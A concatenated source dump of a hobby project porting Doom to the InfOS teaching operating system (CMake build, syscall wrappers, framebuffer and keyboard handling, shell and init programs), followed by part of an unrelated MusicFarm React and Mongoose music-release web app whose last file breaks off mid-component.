${CMAKE_COMMAND} -E copy ${KERNEL_TARGET_OUT} ${CMAKE_BINARY_DIR}/isofiles/boot/ COMMAND ${GRUB_MKRESCUE} -o ${ISO_PATH} ${CMAKE_BINARY_DIR}/isofiles DEPENDS ${KERNEL_TARGET}) endif() # =================================================== # # # Build newlib # # # =================================================== set(NEWLIB_TRIPLE x86_64-elf-infos CACHE STRING "Newlib target") set(NEWLIB_TARGET newlib) set(NEWLIB_PREFIX /usr) set(NEWLIB_INSTALL ${CMAKE_BINARY_DIR}${NEWLIB_PREFIX}/${NEWLIB_TRIPLE}) set(NEWLIB_INCLUDES ${NEWLIB_INSTALL}/include) set(NEWLIB_LIBS ${NEWLIB_INSTALL}/lib) ExternalProject_Add(${NEWLIB_TARGET} GIT_REPOSITORY https://github.com/nankeen/infos-newlib GIT_TAG newlib-infos GIT_SHALLOW true UPDATE_COMMAND "" # PATCH_COMMAND ${NEWLIB_PATCH} BUILD_IN_SOURCE 0 SOURCE_DIR ${CMAKE_SOURCE_DIR}/newlib CONFIGURE_COMMAND CFLAGS_FOR_TARGET=-ffreestanding ${CMAKE_SOURCE_DIR}/newlib/configure --prefix=${NEWLIB_PREFIX} --target=${NEWLIB_TRIPLE} --disable-multilibs INSTALL_COMMAND make DESTDIR=${CMAKE_BINARY_DIR} install ) # =================================================== # # # Userspace and rootfs # # # =================================================== # Add userland targets add_subdirectory(userland) # Define rootfs compile target find_program(TAR_CMD tar) if (NOT TAR_CMD) message (WARNING "Unable to find `tar`. Filesystem generation will not be available.") else() set(FS_TARGET rootfs) set(FS_BINS $<TARGET_FILE_NAME:init> $<TARGET_FILE_NAME:shell> $<TARGET_FILE_NAME:cat> $<TARGET_FILE_NAME:ls> $<TARGET_FILE_NAME:test-graphics> $<TARGET_FILE_NAME:test-newlib> $<TARGET_FILE_NAME:doom>) set(FS_PATHS $<TARGET_FILE:init> $<TARGET_FILE:shell> $<TARGET_FILE:cat> $<TARGET_FILE:ls> $<TARGET_FILE:test-graphics> $<TARGET_FILE:test-newlib> $<TARGET_FILE:doom>) set(FS_PATH ${TARGET_SYSROOT}.tar) file(MAKE_DIRECTORY ${TARGET_SYSROOT}/.savegame) add_custom_target(${FS_TARGET} ALL COMMAND ${CMAKE_COMMAND} -E copy ${FS_PATHS} ${TARGET_SYSROOT} COMMAND ${TAR_CMD} cf ${FS_PATH} -C ${TARGET_SYSROOT} ${FS_BINS} DOOM.WAD .savegame/) endif() <file_sep>/userland/doom/src/doomgeneric_infos.c #include "doomkeys.h" #include "doomgeneric.h" #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <time.h> #include <ctype.h> uint32_t *DG_ScreenBuffer = 0; static uint64_t start_tick = 0; static uint32_t *frame_buffer = 0; typedef unsigned long HANDLE; typedef HANDLE HFILE; typedef HANDLE HTHREAD; typedef HANDLE HPROC; #define SYS_MMAP 0x15 #define SYS_WAIT_PROC 0x0b #define SYS_CREATE_THREAD 0x0c #define SYS_STOP_THREAD 0x0d #define SYS_JOIN_THREAD 0x0e #define V_WIDTH 1280 #define V_HEIGHT 768 #define V_STRIDE V_WIDTH * 4 #define GRAPHICS_START_X ((V_WIDTH - DOOMGENERIC_RESX) / 2) #define GRAPHICS_START_Y ((V_HEIGHT - DOOMGENERIC_RESY) / 2) #define KEYQUEUE_SIZE 32 static unsigned short s_KeyQueue[KEYQUEUE_SIZE]; static unsigned int s_KeyQueueWriteIndex = 0; static unsigned int s_KeyQueueReadIndex = 0; static uint8_t scancode_map[] = { 0, KEY_ESCAPE, '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', KEY_MINUS, KEY_EQUALS, KEY_BACKSPACE, KEY_TAB, 'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P', '[', ']', KEY_ENTER, KEY_FIRE, 'A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L', ';', '\'', '`', KEY_RSHIFT, '\\', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', KEY_STRAFE_L, KEY_STRAFE_R, '/', KEY_RSHIFT, '*', KEY_LALT, KEY_USE, KEY_CAPSLOCK, KEY_F1, KEY_F2, KEY_F3, KEY_F4, KEY_F5, KEY_F6, KEY_F7, KEY_F8, KEY_F9, KEY_F10, }; static char getch(HFILE fd) { char buffer; int r = 0; while (r < 1) { r = read(fd, &buffer, 1); } return buffer; } static unsigned char convertToDoomKey(unsigned int key) { key = tolower(key); switch (key) { case 'a': key = KEY_LEFTARROW; break; case 'd': key = KEY_RIGHTARROW; break; case 'w': key = KEY_UPARROW; break; case 's': key = KEY_DOWNARROW; break; } return key; } static uint8_t scanCodeToKey(uint8_t scancode) { uint8_t key_scancode = ((uint8_t)scancode) & ~0x80; if (key_scancode > sizeof(scancode_map) / sizeof(*scancode_map)) { return 0x00; } return scancode_map[key_scancode]; } static void addKeyToQueue(int pressed, unsigned int keyCode) { unsigned char key = convertToDoomKey(keyCode); unsigned short keyData = (pressed << 8) | key; s_KeyQueue[s_KeyQueueWriteIndex] = keyData; s_KeyQueueWriteIndex++; s_KeyQueueWriteIndex %= KEYQUEUE_SIZE; } static void *mmap(void *addr, size_t len, int flags, HFILE fd, size_t offset) { void *ret; asm volatile("int $0x81" : "=a"(ret) : "a"(SYS_MMAP), "D"(addr), "S"(len), "d"(flags), "c"(fd), "r"(offset)); return ret; } static HTHREAD create_thread(void *tp, void *arg) { HTHREAD ret; asm volatile("int $0x81" : "=a"(ret) : "a"(SYS_CREATE_THREAD), "D"(tp), "S"(arg)); return ret; } static void stop_thread(HTHREAD thread) { asm volatile("int $0x81" : : "a"(SYS_STOP_THREAD), "D"(thread)); } static void handleKeyInput() { char c; HFILE kbd_fd = open("/dev/kbd0", 0); if (kbd_fd == (HFILE)-1) { printf("Can't open keyboard device!\n"); exit(1); } while (!should_exit) { c = getch(kbd_fd); if (c & 0x80) { addKeyToQueue(0, scanCodeToKey(c)); } else { addKeyToQueue(1, scanCodeToKey(c)); } } stop_thread(-1); } void DG_Init() { // Open video device HFILE fd = open("/dev/video0", 0); if (fd < 0) { printf("Could not open /dev/video0\n"); exit(1); } frame_buffer = (uint32_t *) mmap((void *)0xdeadbeef, V_STRIDE * V_HEIGHT, 1, fd, 0); create_thread((void *)handleKeyInput, NULL); start_tick = clock(); } void DG_DrawFrame() { for (size_t y = 0; y < DOOMGENERIC_RESY; y++) { for (size_t x = 0; x < DOOMGENERIC_RESX; x++) { frame_buffer[(y + GRAPHICS_START_Y) * V_WIDTH + (x + GRAPHICS_START_X)] = DG_ScreenBuffer[y * DOOMGENERIC_RESX + x]; } } } void DG_SleepMs(uint32_t ms) { usleep(ms * 1000); } uint32_t DG_GetTicksMs() { return (clock() - start_tick) / 1e6; } int DG_GetKey(int* pressed, unsigned char* doom_key) { if (s_KeyQueueReadIndex == s_KeyQueueWriteIndex){ //key queue is empty return 0; } else { unsigned short keyData = s_KeyQueue[s_KeyQueueReadIndex]; s_KeyQueueReadIndex++; s_KeyQueueReadIndex %= KEYQUEUE_SIZE; *pressed = keyData >> 8; *doom_key = keyData & 0xFF; return 1; } return 0; } void DG_SetWindowTitle(const char *title) { printf("Title: %s\n", title); } <file_sep>/userland/init/main.cpp /* SPDX-License-Identifier: MIT */ #include <libcore.h> int main(const char *) { printf("Welcome to InfOS!\nStarting the system...\n"); while (true) { HPROC shell_proc = exec("/usr/shell", NULL); if (is_error(shell_proc)) { printf("Error: Unable to launch shell"); return 1; } wait_proc(shell_proc); printf("SHELL TERMINATED! PRESS ENTER TO RESTART\n"); while (getch() != '\n'); } return 0; } <file_sep>/userland/doom/src/doomgeneric.c #include "doomgeneric.h" int should_exit = 0; void dg_Create() { DG_ScreenBuffer = (uint32_t *)malloc(DOOMGENERIC_RESX * DOOMGENERIC_RESY * 4); DG_Init(); } <file_sep>/userland/test-newlib/main.cpp #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int, const char *) { char *allocated = (char *)malloc(0x20000); printf("Allocated buffer at: %p\n", allocated); fflush(stdout); *(allocated+0x20000) = 0; free(allocated); allocated = NULL; return 0; } <file_sep>/userland/libcore/src/io.cpp /* SPDX-License-Identifier: MIT */ /** * MIT License * * Copyright (c) 2018 <NAME> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <libcore.h> HFILE open(const char *file, int flags) { return (HFILE)syscall(SYS_OPEN, (unsigned long)file, (unsigned long)flags); } void close(HFILE file) { syscall(SYS_CLOSE, (unsigned long)file); } int read(HFILE file, char *buffer, size_t size) { return (int)syscall(SYS_READ, (unsigned long)file, (unsigned long)buffer, (unsigned long)size); } int write(HFILE file, const char *buffer, size_t size) { return (int)syscall(SYS_WRITE, (unsigned long)file, (unsigned long)buffer, (unsigned long)size); } HDIR opendir(const char *path, int flags) { return (HDIR)syscall(SYS_OPENDIR, (unsigned long)path, (unsigned long)flags); } int readdir(HDIR dir, struct dirent *de) { return (int)syscall(SYS_READDIR, (unsigned long)dir, (unsigned long)de); } void closedir(HDIR dir) { syscall(SYS_CLOSEDIR, (unsigned long)dir); } int get_time_of_day(struct tod *t) { return (int)syscall(SYS_GET_TOD, (unsigned long)t); } <file_sep>/README.md <h1 align="center">Doom on InfOS</h1> <p align="center"> <img alt="GitHub top language" src="https://img.shields.io/github/languages/top/nankeen/infos-doom?style=for-the-badge"> <img alt="GitHub last commit" src="https://img.shields.io/github/last-commit/nankeen/infos-doom?style=for-the-badge"> <img alt="GitHub issues" src="https://img.shields.io/github/issues/nankeen/infos-doom?style=for-the-badge"> </p> > InfOS is the Informatics research operating system, designed specifically for the UG3 Operating Systems course. This project aims to port Doom over to [InfOS](https://github.com/tspink/infos), the main goal is to extend InfOS with user space graphics. ### Status Before we can attempt to the port, the kernel must be extended. The two main hurdles as of 12 Mar 2021 are: 1. Kernel currently uses VGA text mode and does not have framebuffer graphics. 2. User space memory allocation is not supported. ## Gallery ![image](https://user-images.githubusercontent.com/6895854/112836924-1f9e6a80-9093-11eb-8af8-8bdf3102ec5b.png) ### Tasks - [x] Add multiboot framebuffer graphics support. - [x] Add memory mapped IO and user space page allocation with `mmap`. - [x] Add framebuffer console output and font rendering. - [x] Add user space memory allocator. - [x] Implement frame drawing function in Doom. - [x] Implement player input functions in Doom. - [ ] Add mouse device support (optional). ## Build The InfOS project builds with a Makefile. This project builds the kernel with the original Makefile but uses CMake for other binaries. To build and generate the a bootable ISO, you would also need GRUB. ### Requirements Install the dependencies on Ubuntu (ninja is optional) ```bash sudo apt install grub2 xorriso build-essential ninja-build ``` ### Toolchain setup This project would compile userspace binaries with a different compiler toolchain that needs setup. Follow https://wiki.osdev.org/GCC_Cross-Compiler to build this, we need to name it `x86_64-elf-infos-*`. On MacOS you can install `x86_64-elf-gcc` with Homebrew. ```bash brew install x86_64-elf-gcc ``` Create a directory to store the toolchain, make sure that it is in your path. This is a quick hack to link the compiler with the correct name. ```bash mkdir $HOME/opt/bin for elf_bin in /usr/local/bin/x86_64-elf-* do ln $elf_bin ~/opt/bin/x86_64-elf-infos-${elf_bin##*x86_64-elf-} done export PATH="$HOME/opt/bin:$PATH" ``` ### Build with CMake This might not be able to build the kernel due to an issue with the toolchain, so if it fails, try compiling the kernel first with `make -C infos/`. ```bash mkdir build cd build cmake -G Ninja .. cmake --build . --target grub-bootable-iso rootfs ``` ### Run ```bash ./run.sh ``` <file_sep>/userland/doom/README.md # doomgeneric The purpose of doomgeneric is to make porting Doom easier. Of course Doom is already portable but with doomgeneric it is possible with just a few functions. The limitation is there is no sound! To try it you will need a WAD file (game data). If you don't own the game, shareware version is freely available (doom1.wad). # porting Create a file named doomgeneric_yourplatform.c and just implement these functions to suit your platform. * DG_Init * DG_DrawFrame * DG_SleepMs * DG_GetTicksMs * DG_GetKey |Functions |Description| |---------------------|-----------| |DG_Init |Initialize your platfrom (create window, framebuffer, etc...). |DG_DrawFrame |Frame is ready in DG_ScreenBuffer. Copy it to your platform's screen. |DG_SleepMs |Sleep in milliseconds. |DG_GetTicksMs |The ticks passed since launch in milliseconds. |DG_GetKey |Provide keyboard events. |DG_SetWindowTitle |Not required. This is for setting the window title as Doom sets this from WAD file. # platforms I have ported to Windows, X11, and Soso. Just look at (doomgeneric_win.c or doomgeneric_xlib.c). Note that X11 port is not efficient since it generates pixmap by XDrawPoint. It can be further improved by using X11 extensions. ## SDL ![SDL](screenshots/sdl.png) ## Windows ![Windows](screenshots/windows.png) ## X11 - Ubuntu ![Ubuntu](screenshots/ubuntu.png) ## X11 - FreeBSD ![FreeBSD](screenshots/freebsd.png) <file_sep>/userland/test-graphics/main.cpp #include <libcore.h> #define V_WIDTH 1280 #define V_HEIGHT 768 #define V_STRIDE V_WIDTH * 4 void *init_framebuffer() { // Open video device HFILE fd = open("/dev/video0", 0); if (is_error(fd)) { printf("Could not open /dev/video0\n"); exit(1); } return mmap((void *)0xdeadbeef, V_STRIDE * V_HEIGHT, 1, fd, 0); } int main(const char *) { // Test userland frame graphics uint32_t *frame_buffer = (uint32_t *)init_framebuffer(); if ((intptr_t)frame_buffer == -1) { printf("MMAP error: %p\n", frame_buffer); exit(1); } printf("Mapped frame buffer at %p\n", frame_buffer); for (size_t i = 0; i < V_WIDTH * V_HEIGHT; i++) { frame_buffer[i] = -1; } getch(); return 0; } <file_sep>/toolchain.cmake set(CMAKE_SYSTEM_NAME Linux) set(CMAKE_SYSTEM_VERSION 1) set(CMAKE_SYSTEM_PROCESSOR x86_64) set(TOOLCHAIN_PREFIX x86_64-elf) set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar) set(CMAKE_ASM_COMPILER ${TOOLCHAIN_PREFIX}-as) set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc) set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++) set(CMAKE_LINKER ${TOOLCHAIN_PREFIX}-ld) set(CMAKE_OBJCOPY ${TOOLCHAIN_PREFIX}-objcopy) set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib) set(CMAKE_SIZE ${TOOLCHAIN_PREFIX}-size) set(CMAKE_STRIP ${TOOLCHAIN_PREFIX}-strip) set(CMAKE_TRY_COMPILE_TARGET_TYPE "STATIC_LIBRARY") set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) set(CMAKE_CROSS_COMPILING TRUE) <file_sep>/userland/doom/CMakeLists.txt if (NOT DEFINED DOOM_TARGET) set(DOOM_TARGET doom) message (WARNING "DOOM_TARGET was not set by project root. Defaulting to '${DOOM_TARGET}'.") set(DOOM_TARGET ${DOOM_TARGET} PARENT_SCOPE) endif () file(GLOB_RECURSE SOURCES RELATIVE ${CMAKE_CURRENT_LIST_DIR} "*.c") add_executable(${DOOM_TARGET} ${SOURCES}) add_dependencies(${DOOM_TARGET} ${NEWLIB_TARGET}) set_property(TARGET ${DOOM_TARGET} PROPERTY LINK_FLAGS "-Wl,--gc-sections -nostdlib -nostdinc -static ${NEWLIB_LIBS}/crt0.o") target_include_directories(${DOOM_TARGET} PRIVATE ${CMAKE_CURRENT_LIST_DIR}/src ${NEWLIB_INCLUDES}) target_link_directories(${DOOM_TARGET} PRIVATE ${NEWLIB_LIBS}) target_link_libraries(${DOOM_TARGET} c g m nosys) set(DOOM_C_COMPILER_FLAGS -ggdb3 -D_DEFAULT_SOURCE) target_compile_options(${DOOM_TARGET} PRIVATE $<$<COMPILE_LANGUAGE:C>:${DOOM_C_COMPILER_FLAGS}>) <file_sep>/userland/libcore/src/mmio.cpp #include <libcore.h> void *mmap(void *addr, size_t len, int flags, HFILE fd, off_t offset) { return (void *)syscall(SYS_MMAP, (unsigned long)addr, len, (unsigned long)flags, fd, offset); } <file_sep>/userland/libcore/include/libcore.h /* SPDX-License-Identifier: MIT */ /** * MIT License * * Copyright (c) 2018 <NAME> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #pragma once typedef unsigned char uint8_t; typedef unsigned short uint16_t; typedef unsigned int uint32_t; typedef unsigned long long int uint64_t; typedef signed char int8_t; typedef signed short int16_t; typedef signed int int32_t; typedef signed long long int int64_t; typedef unsigned long size_t; typedef unsigned long off_t; typedef unsigned long uintptr_t; typedef signed long intptr_t; typedef signed long int intmax_t; typedef unsigned long int uintmax_t; #define ARRAY_SIZE(_arr) (sizeof(_arr) / sizeof(_arr[0])) #define SYS_NOP 0x00 #define SYS_YIELD 0x01 #define SYS_EXIT 0x02 #define SYS_OPEN 0x03 #define SYS_CLOSE 0x04 #define SYS_READ 0x05 #define SYS_WRITE 0x06 #define SYS_OPENDIR 0x07 #define SYS_READDIR 0x08 #define SYS_CLOSEDIR 0x09 #define SYS_EXEC 0x0a #define SYS_WAIT_PROC 0x0b #define SYS_CREATE_THREAD 0x0c #define SYS_STOP_THREAD 0x0d #define SYS_JOIN_THREAD 0x0e #define SYS_USLEEP 0x0f #define SYS_GET_TOD 0x10 #define SYS_MMAP 0x15 typedef unsigned long HANDLE; typedef HANDLE HFILE; typedef HANDLE HDIR; typedef HANDLE HPROC; typedef HANDLE HTHREAD; #define HTHREAD_SELF ((HTHREAD)-1) static inline bool is_error(HANDLE h) { return h == (HANDLE)-1; } extern unsigned long syscall(uint32_t nr); extern unsigned long syscall(uint32_t nr, unsigned long a1); extern unsigned long syscall(uint32_t nr, unsigned long a1, unsigned long a2); extern unsigned long syscall(uint32_t nr, unsigned long a1, unsigned long a2, unsigned long a3); extern unsigned long syscall(uint32_t nr, unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5); extern void exit(int exit_code) __attribute__((noreturn)); extern HFILE open(const char *filename, int flags); extern int read(HFILE file, char *buffer, size_t size); extern int write(HFILE file, const char *buffer, size_t size); extern void close(HFILE file); extern void *mmap(void *addr, size_t len, int flags, HFILE fd, off_t offset); struct dirent { char name[64]; unsigned int size; int flags; }; extern HDIR opendir(const char *path, int flags); extern int readdir(HDIR dir, struct dirent *de); extern void closedir(HDIR dir); extern HPROC exec(const char *filename, const char *args); extern void wait_proc(HPROC proc); extern void system(const char *command); typedef void (*ThreadProc)(void *); extern HTHREAD create_thread(ThreadProc tp, void *arg); extern void stop_thread(HTHREAD thread); extern void join_thread(HTHREAD thread); extern void usleep(unsigned long us); struct tod { unsigned short seconds, minutes, hours, day_of_month, month, year; }; extern int get_time_of_day(struct tod *t); #define va_start(v,l) __builtin_va_start(v,l) #define va_end(v) __builtin_va_end(v) #define va_arg(v,l) __builtin_va_arg(v,l) typedef __builtin_va_list __gnuc_va_list; typedef __gnuc_va_list va_list; extern int snprintf(char *buffer, int size, const char *fmt, ...); extern int printf(const char *fmt, ...); extern int sprintf(char *buffer, const char *fmt, ...); extern int vsnprintf(char *buffer, int size, const char *fmt, va_list args); extern int strcmp(const char *l, const char *r); extern int strlen(const char *str); extern char getch(); extern HFILE __console_handle; #define NULL 0 <file_sep>/userland/shell/main.cpp #include <libcore.h> int main(const char *) { printf("This is the InfOS shell. Path resolution is not-yet-implemented, so you\n" "must type the command exactly, e.g. try typing: /usr/ls.\n\n"); while (true) { printf("$ "); char command_buffer[128]; size_t n = 0; while (n < sizeof command_buffer - 1) { char c = getch(); if (c == 0) continue; if (c == '\n') break; if (c == '\b') { if (n > 0) { command_buffer[--n] = 0; printf("\b"); } } else { command_buffer[n++] = c; printf("%c", c); } } printf("\n"); if (n == 0) continue; command_buffer[n] = 0; if (strcmp("exit", command_buffer) == 0) break; system(command_buffer); } return 0; } <file_sep>/userland/libcore/CMakeLists.txt if (NOT DEFINED LIBCORE_TARGET) set(LIBCORE_TARGET libcore) message (WARNING "LIBCORE_TARGET was not set by project root. Defaulting to '${LIBCORE_TARGET}'.") set(LIBCORE_TARGET ${LIBCORE_TARGET} PARENT_SCOPE) endif () file(GLOB_RECURSE SOURCES RELATIVE ${CMAKE_CURRENT_LIST_DIR} "*.cpp") add_library(${LIBCORE_TARGET} STATIC ${SOURCES}) target_include_directories(${LIBCORE_TARGET} PUBLIC ${CMAKE_CURRENT_LIST_DIR}/include) set_property(TARGET ${LIBCORE_TARGET} PROPERTY CXX_STANDARD ${INFOS_CXX_STANDARD}) set(LIBCORE_C_COMPILER_FLAGS ${C_COMPILER_FLAGS} -Wno-unused-function) set(LIBCORE_CXX_COMPILER_FLAGS ${CXX_COMPILER_FLAGS} -Wno-unused-function) target_compile_options(${LIBCORE_TARGET} PRIVATE $<$<COMPILE_LANGUAGE:C>:${LIBCORE_C_COMPILER_FLAGS}> $<$<COMPILE_LANGUAGE:CXX>:${LIBCORE_CXX_COMPILER_FLAGS}>) <file_sep>/run.sh #!/bin/sh TOP=`pwd` ROOTFS=$TOP/build/rootfs.tar ISO=$TOP/build/infos.iso QEMU=qemu-system-x86_64 $QEMU -cdrom $ISO -m 6G -debugcon stdio -hda $ROOTFS -gdb tcp:0.0.0.0:1234
f599549cd89cd9d97e4cca6268a773b2bf1166ba
[ "CMake", "Markdown", "C", "C++", "Shell" ]
22
C++
nankeen/infos-doom
f0133fa881f4246349cc8bf2b8a439744de2e217
22241a8720a3a12bd6255d4b6d0b3bc6608f6d8e
refs/heads/Media-streaming-backend
<repo_name>pledovski/MusicFarm<file_sep>/client/src/components/profile-forms/AddRelease.js import React, { Fragment, useState } from "react"; import { withRouter } from "react-router-dom"; import PropTypes from "prop-types"; import { connect } from "react-redux"; import { addRelease } from "../../actions/release"; const AddRelease = ({ addRelease, history }) => { const [formData, setFormData] = useState({ artist: '', title: '', label: '', format: '', country: '', releaseDate: '', uploadDate: '', style: '', description: '', recordLink: '', artwork: '' }); const { artist, title, label, format, country, releaseDate, uploadDate, style, description, recordLink, artwork } = formData; const onChange = e => setFormData({ ...formData, [e.target.name]: e.target.value }); return ( <Fragment> <h1 className="large text-primary">Add Your Release</h1> <p className="lead"> <i className="fas fa-code-branch" /> Add your release here in order to start selling them </p> <form className="form" onSubmit={e => { e.preventDefault(); addRelease(formData, history) }}> <div className="form-group">Artist: <input type="text" placeholder="Artist" name="artist" value={artist} onChange={e => onChange(e)} /> </div> <div className="form-group">Title: <input type="text" placeholder="Title" name="title" value={title} onChange={e => onChange(e)} /> </div> <div className="form-group">Label: <input type="text" placeholder="Label" name="label" value={label} onChange={e => onChange(e)} /> </div> <div className="form-group">Format: <input type="text" placeholder="Format" name="format" value={format} onChange={e => onChange(e)} /> </div> <div className="form-group">Country: <input type="text" placeholder="Country" name="country" value={country} onChange={e => onChange(e)} /> </div> <div className="form-group">Release date: <input type="text" placeholder="Release date" name="releaseDate" value={releaseDate} onChange={e => onChange(e)} /> </div> <div className="form-group">Upload date: <input type="text" placeholder="Upload date" name="uploadDate" value={uploadDate} onChange={e => onChange(e)} disabled /> </div> <div className="form-group">Style: <input type="text" placeholder="Style" name="style" value={style} onChange={e => onChange(e)} /> </div> <div className="form-group">Description: <input type="text" placeholder="Description" name="description" value={description} onChange={e => onChange(e)} /> </div> <div className="form-group"> <input type="text" placeholder="The audio will be here" name="recordLink" value={recordLink} // onChange={e => onChange(e)} disabled /> </div> <div className="form-group">Drag and Drop the artwork here <input type="text" placeholder="The artwork will be here" name="artwork" value={artwork} // onChange={e => onChange(e)} disabled /> </div> <input type="submit" className="btn btn-primary my-1" /> <a className="btn btn-light my-1" href="dashboard.html"> Go Back </a> </form> </Fragment> ); }; AddRelease.propTypes = { addRelease: PropTypes.func.isRequired }; export default connect( null, { addRelease } )(withRouter(AddRelease)); <file_sep>/models/Record.js const mongoose = require("mongoose"); const RecordSchema = new mongoose.Schema({ user: { type: mongoose.Schema.Types.ObjectId, required: true, ref: "user" }, release: { type: mongoose.Schema.Types.ObjectId, required: true, ref: "rlease" }, artist: { type: String, required: false }, title: { type: String, required: false }, lenght: { type: String, required: false }, uploadDate: { type: Date, default: Date.now }, file: {} }); module.exports = Record = mongoose.model("record", RecordSchema); <file_sep>/client/src/components/releases/AllReleases.js import React, { Fragment, useEffect } from "react"; import styled from "styled-components"; import PropTypes from "prop-types"; import { connect } from "react-redux"; import Spinner from "../../components/layout/Spinner"; import ReleaseItem from "../../components/releases/ReleaseItem"; import { getReleases } from "../../actions/release"; export const AllReleasesStyled = styled.div` display: grid; grid-template-columns: repeat(2, 1fr); grid-gap: 15px; `; const AllReleases = ({ getReleases, release: { releases, loading } }) => { useEffect(() => { getReleases(); }, [getReleases]); return loading ? ( <Spinner /> ) : ( <Fragment> <h1 className="large text-primary">Releases</h1> <AllReleasesStyled> {releases.map(release => ( <ReleaseItem key={release._id} release={release} /> ))} </AllReleasesStyled> </Fragment> ); }; AllReleases.propTypes = { getReleases: PropTypes.func.isRequired, release: PropTypes.object.isRequired }; const mapStateToProps = state => ({ release: state.release }); export default connect( mapStateToProps, { getReleases } )(AllReleases); <file_sep>/client/src/components/dashboard/Dashboard.js import React, { Fragment, useEffect } from "react"; import styled from "styled-components"; import { Link } from "react-router-dom"; import PropTypes from "prop-types"; import { connect } from "react-redux"; import Spinner from "../layout/Spinner"; import DashboardActions from "./DashboardActions"; import ReleaseListItem from "./ReleaseListItem"; import ReleaseItem from "../../components/releases/ReleaseItem"; import { getCurrentProfile, deleteAccount } from "../../actions/profile"; import { getUserReleases } from "../../actions/release"; export const AllReleasesStyled = styled.div` display: grid; grid-template-columns: 1fr; grid-gap: 15px; `; const Dashboard = ({ getCurrentProfile, getUserReleases, deleteAccount, auth: { user }, profile: { profile, loading }, release: { releases } }) => { useEffect(() => { getCurrentProfile(); getUserReleases(user._id); }, [getCurrentProfile, getUserReleases]); return loading && profile === null ? ( <Spinner /> ) : ( <Fragment> <h1 className="large text-primary">My Profile</h1> <p className="lead"> <i className=" fas fa-user" /> Welcome {profile && profile.realName} </p> {profile !== null ? ( <Fragment> <DashboardActions /> <AllReleasesStyled> {releases.map(release => ( <ReleaseListItem key={release._id} release={release} /> ))} </AllReleasesStyled> <div className="my-2"> <button className="btn btn-danger" onClick={() => deleteAccount()}> <i className="fas fa-user-minus" /> Delete my account </button> </div> </Fragment> ) : ( <Fragment> <p>You have not setup a profile, please add some info.</p> <Link to="/create-profile" className="btn btn-primary my-1"> Create profile </Link> </Fragment> )} </Fragment> ); }; Dashboard.propTypes = { getCurrentProfile: PropTypes.func.isRequired, getUserReleases: PropTypes.func.isRequired, deleteAccount: PropTypes.func.isRequired, auth: PropTypes.object.isRequired, profile: PropTypes.object.isRequired, release: PropTypes.object.isRequired }; const mapStateToProps = state => ({ auth: state.auth, profile: state.profile, release: state.release }); export default connect( mapStateToProps, { getCurrentProfile, deleteAccount, getUserReleases } )(Dashboard); <file_sep>/client/src/components/dashboard/ReleaseListItem.js import React from "react"; import { Link } from "react-router-dom"; import styled from "styled-components"; import PropTypes from "prop-types"; const Container = styled.div` border-radius: 5px 5px 0 0; margin-top: 10px; width: 100%; padding: 2rem; display: grid; grid-template-columns: 1fr 3fr 1fr; align-items: center; color: #27117c; box-sizing: border-box; background-image: linear-gradient( to bottom, #ebe6f8, #ece5f6, #ede4f5, #eee4f3, #efe3f1 ); `; const Cover = styled.img` width: 75px; height: 75px; border-radius: 5px; margin-right: 1rem; `; const Info = styled.div` display: grid; grid-template-rows: 1fr 1fr; align-items: center; `; const MainInfo = styled.div` display: grid; grid-auto-flow: row; align-items: start; `; const SecondaryInfo = styled.div` display: grid; grid-auto-flow: row; align-items: start; `; const Title = styled.p` font-size: 1rem; `; const Artist = styled.p` font-weight: 600; font-size: 0.8rem; text-transform: uppercase; `; const Description = styled.p` font-size: 0.8rem; font-weight: 400; `; const Action = styled.button` width: 75px; height: 75px; border-radius: 5px; `; const ReleaseListItem = ({ release: { _id, artist, title, label, format, country, style, description, records } }) => { return ( <Link to={`/releases/${_id}`}> <Container> <Cover /> <Info> <MainInfo> <Title>{title}</Title> <Artist>{artist}</Artist> </MainInfo> <SecondaryInfo> <Description>{description}</Description> <Description>{style}</Description> <Description>{records.length} records</Description> 